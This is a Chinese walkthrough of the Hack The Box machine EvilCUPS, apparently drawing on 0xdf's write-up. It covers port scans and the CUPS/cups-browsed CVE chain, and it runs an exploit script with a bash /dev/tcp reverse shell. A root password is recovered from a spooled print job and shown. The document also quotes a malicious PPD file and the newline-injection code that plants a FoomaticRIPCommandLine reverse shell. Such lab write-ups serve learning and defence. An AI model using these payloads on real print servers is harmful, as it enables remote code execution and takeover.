参照:HTB: EvilCUPS | 0xdf hacks stuff
端口扫描
└─# nmap 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 02:27 EDT
Nmap scan report for 10.10.11.40
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
631/tcp open ipp
Nmap done: 1 IP address (1 host up) scanned in 2.20 seconds
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -p 22,631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 02:28 EDT
Nmap scan report for 10.10.11.40
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_ 256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open ipp CUPS 2.4
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Home - CUPS 2.4.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.38 seconds
简单了解一下631端口的CUPS:
关于使用CUPS共享打印机的正确姿势,你可以永远告别打印驱动了-OPENWRT专版-恩山无线论坛
GPT:
CUPS(Common Unix Printing System)是一个开放源代码的打印系统,主要用于类 Unix 操作系统(如 Linux 和 macOS)。它提供了一个标准的打印服务,使得各种打印机能够通过网络共享和管理。CUPS 采用了客户端-服务器架构,并通过 Internet Printing Protocol (IPP) 进行打印任务的管理。
CUPS 的主要特点
- 跨平台支持:CUPS 可以在多种操作系统上运行,包括 Linux、macOS、BSD 和 Solaris。
- 网络打印:支持通过网络打印,允许多个客户端连接到打印服务器并共享打印机。
- 易于管理:提供一个 Web 界面(通常在
http://localhost:631
上可访问),使得用户可以方便地配置打印机、管理打印任务和查看打印状态。- 支持多种打印机:兼容多种类型的打印机,包括本地连接的和网络打印机。
- 驱动程序支持:CUPS 支持多种打印机驱动程序,可以通过 PPD(PostScript Printer Description)文件来管理打印机。
UDP端口
根据博文,
根据 OpenSSH 版本,主机可能正在运行 Debian 12 bookworm。
看到 CUPS(通用 Unix 打印系统),我也会检查 UDP,它很可能是打开的:
==>
└─# nmap -sU -p 631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 02:36 EDT
Nmap scan report for 10.10.11.40
Host is up (0.14s latency).
PORT STATE SERVICE
631/udp open|filtered ipp
Nmap done: 1 IP address (1 host up) scanned in 1.81 seconds
CUPS版本
nmap扫到版本是2.4,提交之后发现不对,访问一下CUPS服务器,发现还有更细微的版本划分:2.4.2
OpenPrinting CUPS 2.4.2
查询漏洞
漏洞编号 | 危害描述 | CVSS 3.1****分数 |
---|---|---|
CVE-2024-47175 | libppd库中存在输入验证不当漏洞,未经验证的IPP 数据可能被写入临时PPD 文件,导致攻击者注入恶意数据。 | 8.6 |
CVE-2024-47076 | libcupsfilters库中存在输入验证不当漏洞,攻击者可以发送恶意数据至CUPS 系统 | 8.6 |
CVE-2024-47177 | cups-filters库中存在命令注入漏洞,攻击者可以通过FoomaticRIPCommandLine PPD参数执行任意命令 | 9.1 |
- CVE-2024-47176 漏洞 |cups-browsed <= 2.0.1 在 UDP INADDR_ANY:631 上绑定,
Get-Printer-Attributes
信任来自任何来源的任何数据包,以触发对攻击者控制的 URL 的 IPP 请求。 - CVE-2024-47076 漏洞 |libcups过滤器 <= 2.1b1
cfGetPrinterAttributes5
不会验证或清理从 IPP 服务器返回的 IPP 属性,从而向 CUPS 系统的其余部分提供攻击者控制的数据。 - CVE-2024-47175 漏洞 |libppd <= 2.1b1
ppdCreatePPDFromIPP2
在将 IPP 属性写入临时 PPD 文件时不验证或清理 IPP 属性,从而允许在生成的 PPD 中注入攻击者控制的数据。 - CVE-2024-47177 漏洞 |cups-filters <= 2.0.1
foomatic-rip``FoomaticRIPCommandLine
允许通过 PPD 参数执行任意命令。
使用脚本:IppSec/evil-cups
──(myenv)─(root㉿kali)-[~/work/HTB/EvilCUPS/evil-cups]
└─# python3 evilcups.py 10.10.16.2 10.10.11.40 'bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"'
本地起一个443端口监听,然后点击脚本上传的打印任务,选择打印测试页即可反弹一个 shell
script /dev/null -c bash
是一个命令,用于启动一个新的 Bash shell,但不将输出记录到文件中。这条命令的各部分含义如下:
- **
script
**:这是一个用于记录终端会话的命令。它可以将所有在终端中输入的内容和输出记录到一个文件中。- **
/dev/null
**:这是一个特殊的设备文件,任何写入到这个文件的数据都会被丢弃。将输出重定向到/dev/null
意味着不会保存输出。- **
-c
**:这是script
命令的一个选项,后面跟着要执行的命令。在这种情况下,命令是bash
。- **
bash
**:这是要启动的命令行解释器。整体作用
使用
script /dev/null -c bash
命令可以启动一个新的 Bash shell,且不记录该会话的任何输出。这在需要临时使用 Bash shell,但又不想生成任何记录文件的情况下非常有用。
提权
查看可用用户
cat /etc/passwd | grep "sh$"
根据CUPS 设计说明:
作业文件
调度程序将作业文件存储在 spool 目录中,通常为
/var/spool/cups
。在假脱机目录中可以找到两种类型的文件:以字母 “c” 开头的控制文件 (“c00001”, “c99999”, “c100000” 等) 和以字母 “d” 开头的数据文件 (“d00001-001”、“d99999-001”、“d100000-001” 等)控制文件是基于原始 IPP 打印作业或创建作业消息的 IPP 消息,而数据文件是提交进行打印的原始打印文件。系统已知的每个作业都有一个控制文件,每个作业有 0 个或多个数据文件。
以及:
GPT:
如果你不是文件夹的所有者,且文件夹的权限设置为禁止其他用户列出内容(如
r-x
),你将无法使用ls
命令查看其内容,但仍可以访问特定的文件(如果你知道它们的路径并且有权限)。
这里无法直接ls出/var/spool/cups
下的作业文件,但是根据作业文件的命名规则,尝试猜测数据文件名,在这个服务器上只打印了一个文件,此时猜测他的数据文件名为d00001-001
,直接cat果然可以,把文件内容复制下来到本地,如何使用呢?
ps2pdf
GPT:
ps2pdf
是一个命令行工具,用于将 PostScript 文件转换为 PDF 文件。它是 Ghostscript 工具集的一部分,通常用于处理和转换图形文件。基本用法
基本的命令格式如下:
bash 复制代码 ps2pdf input.ps output.pdf
- **
input.ps
**:要转换的 PostScript 文件。- **
output.pdf
**:转换后生成的 PDF 文件。例子
如果你有一个名为
document.ps
的 PostScript 文件,并希望将其转换为document.pdf
,你可以运行以下命令:bash 复制代码 ps2pdf document.ps document.pdf
选项
ps2pdf
提供了一些可选参数,可以在转换时调整输出 PDF 的质量和其他设置。例如:
- **
-dPDFSETTINGS=
**:设置 PDF 输出的质量,例如screen
、ebook
、printer
、prepress
等。- **
-dCompatibilityLevel=
**:设置生成 PDF 的版本。示例:
bash 复制代码 ps2pdf -dPDFSETTINGS=/ebook input.ps output.pdf
总结
ps2pdf
是一个非常有用的工具,可以轻松地将 PostScript 文件转换为 PDF 文件,适用于需要将打印文件格式转换为可分发和可阅读格式的情况
这里可以用这个工具把数据转换为pdf,打开可以看到:
pass.txt Sat Sep 28 09:30:10 2024 1
Br3@k-G!@ss-r00t-evilcups
这里就得到了管理员密码
维持
后部分博文还看不懂,抄一个在这里:
当我以这种方式创建打印机时,它会通过 IPP 访问给定的 URL。生成的属性将另存为文件,该文件位于 以打印机名称命名:cups-browsed``.ppd``/etc/cups/ppd
root@evilcups:/etc/cups/ppd# ls
HACKED_10_10_14_6.ppd
root@evilcups:/etc/cups/ppd# cat HACKED_10_10_14_6.ppd
*PPD-Adobe: "4.3"
*APRemoteQueueID: ""
*FormatVersion: "4.3"
*FileVersion: "1.28.17"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PSVersion: "(3010.000) 0"
*LanguageLevel: "3"
*FileSystem: False
*PCFileName: "drvless.ppd"
*Manufacturer: "HP"
*ModelName: "HP 0.00"
*Product: "(HP 0.00)"
*NickName: "HP 0.00, driverless, cups-filters 1.28.17"
*ShortNickName: "HP 0.00"
*DefaultOutputOrder: Normal
*ColorDevice: True
*cupsVersion: 2.4
*cupsSNMPSupplies: False
*cupsLanguages: "en"
*APSupplies: ""
*FoomaticRIPCommandLine: "bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1""
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip"
*cupsFilter2: "application/vnd.cups-pdf application/pdf 200 -"
*% Printer did not supply page size info via IPP, using defaults
*OpenUI *PageSize/Media Size: PickOne
*OrderDependency: 10 AnySetup *PageSize
*DefaultPageSize: Letter
*PageSize Letter/US Letter: "<</PageSize[612 792]>>setpagedevice"
*PageSize Legal/US Legal: "<</PageSize[612 1008]>>setpagedevice"
*PageSize Executive/Executive: "<</PageSize[522 756]>>setpagedevice"
*PageSize Tabloid/Tabloid: "<</PageSize[792 1224]>>setpagedevice"
*PageSize A3/A3: "<</PageSize[842 1191]>>setpagedevice"
*PageSize A4/A4: "<</PageSize[595 842]>>setpagedevice"
*PageSize A5/A5: "<</PageSize[420 595]>>setpagedevice"
*PageSize B5/JIS B5: "<</PageSize[516 729]>>setpagedevice"
*PageSize EnvISOB5/Envelope B5: "<</PageSize[499 709]>>setpagedevice"
*PageSize Env10/Envelope #10 : "<</PageSize[297 684]>>setpagedevice"
*PageSize EnvC5/Envelope C5: "<</PageSize[459 649]>>setpagedevice"
*PageSize EnvDL/Envelope DL: "<</PageSize[312 624]>>setpagedevice"
*PageSize EnvMonarch/Envelope Monarch: "<</PageSize[279 540]>>setpagedevice"
*CloseUI: *PageSize
*OpenUI *PageRegion/Media Size: PickOne
*OrderDependency: 10 AnySetup *PageRegion
*DefaultPageRegion: Letter
*PageRegion Letter/US Letter: "<</PageSize[612 792]>>setpagedevice"
*PageRegion Legal/US Legal: "<</PageSize[612 1008]>>setpagedevice"
*PageRegion Executive/Executive: "<</PageSize[522 756]>>setpagedevice"
*PageRegion Tabloid/Tabloid: "<</PageSize[792 1224]>>setpagedevice"
*PageRegion A3/A3: "<</PageSize[842 1191]>>setpagedevice"
*PageRegion A4/A4: "<</PageSize[595 842]>>setpagedevice"
*PageRegion A5/A5: "<</PageSize[420 595]>>setpagedevice"
*PageRegion B5/JIS B5: "<</PageSize[516 729]>>setpagedevice"
*PageRegion EnvISOB5/Envelope B5: "<</PageSize[499 709]>>setpagedevice"
*PageRegion Env10/Envelope #10 : "<</PageSize[297 684]>>setpagedevice"
*PageRegion EnvC5/Envelope C5: "<</PageSize[459 649]>>setpagedevice"
*PageRegion EnvDL/Envelope DL: "<</PageSize[312 624]>>setpagedevice"
*PageRegion EnvMonarch/Envelope Monarch: "<</PageSize[279 540]>>setpagedevice"
*CloseUI: *PageSize
*DefaultImageableArea: Letter
*ImageableArea Letter/US Letter: "18 12 594 780"
*ImageableArea Legal/US Legal: "18 12 594 996"
*ImageableArea Executive/Executive: "18 12 504 744"
*ImageableArea Tabloid/Tabloid: "18 12 774 1212"
*ImageableArea A3/A3: "18 12 824 1179"
*ImageableArea A4/A4: "18 12 577 830"
*ImageableArea A5/A5: "18 12 402 583"
*ImageableArea B5/JIS B5: "18 12 498 717"
*ImageableArea EnvISOB5/Envelope B5: "18 12 481 697"
*ImageableArea Env10/Envelope #10 : "18 12 279 672"
*ImageableArea EnvC5/Envelope C5: "18 12 441 637"
*ImageableArea EnvDL/Envelope DL: "18 12 294 612"
*ImageableArea EnvMonarch/Envelope Monarch: "18 12 261 528"
*DefaultPaperDimension: Letter
*PaperDimension Letter/US Letter: "612 792"
*PaperDimension Legal/US Legal: "612 1008"
*PaperDimension Executive/Executive: "522 756"
*PaperDimension Tabloid/Tabloid: "792 1224"
*PaperDimension A3/A3: "842 1191"
*PaperDimension A4/A4: "595 842"
*PaperDimension A5/A5: "420 595"
*PaperDimension B5/JIS B5: "516 729"
*PaperDimension EnvISOB5/Envelope B5: "499 709"
*PaperDimension Env10/Envelope #10 : "297 684"
*PaperDimension EnvC5/Envelope C5: "459 649"
*PaperDimension EnvDL/Envelope DL: "312 624"
*PaperDimension EnvMonarch/Envelope Monarch: "279 540"
*OpenUI *ColorModel/Print Color Mode: PickOne
*OrderDependency: 10 AnySetup *ColorModel
*DefaultColorModel: Gray
*ColorModel FastGray/Fast Grayscale: "<</cupsColorSpace 3/cupsBitsPerColor 1/cupsColorOrder 0/cupsCompression 0/ProcessColorModel /DeviceGray>>setpagedevice"
*ColorModel Gray/Grayscale: "<</cupsColorSpace 18/cupsBitsPerColor 8/cupsColorOrder 0/cupsCompression 0/ProcessColorModel /DeviceGray>>setpagedevice"
*ColorModel RGB/Color: "<</cupsColorSpace 19/cupsBitsPerColor 8/cupsColorOrder 0/cupsCompression 0/ProcessColorModel /DeviceRGB>>setpagedevice"
*CloseUI: *ColorModel
*OpenUI *Duplex/2-Sided Printing: PickOne
*OrderDependency: 10 AnySetup *Duplex
*DefaultDuplex: None
*Duplex None/Off: "<</Duplex false>>setpagedevice"
*Duplex DuplexNoTumble/On (Portrait): "<</Duplex true/Tumble false>>setpagedevice"
*Duplex DuplexTumble/On (Landscape): "<</Duplex true/Tumble true>>setpagedevice"
*CloseUI: *Duplex
*DefaultResolution: 300dpi
*cupsFilter2: "application/vnd.cups-pdf application/pdf 0 -"
重要的一行是:
*FoomaticRIPCommandLine: "bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1""
当它打印时,它将运行我的反向 shell。
在它的正上方,有一个空参数:
*APSupplies: ""
*FoomaticRIPCommandLine: "bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1""
这可能是来自我上面提到的换行符注入:
SectionEnum.printer,
b'printer-more-info',
TagEnum.uri
): [f'"\n*FoomaticRIPCommandLine: "{self.command}"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'.encode()],
printer-more-info`必须转换为文件中的属性,然后新行开始 .`APSupplies``.ppd``FoomaticRIPCommandLine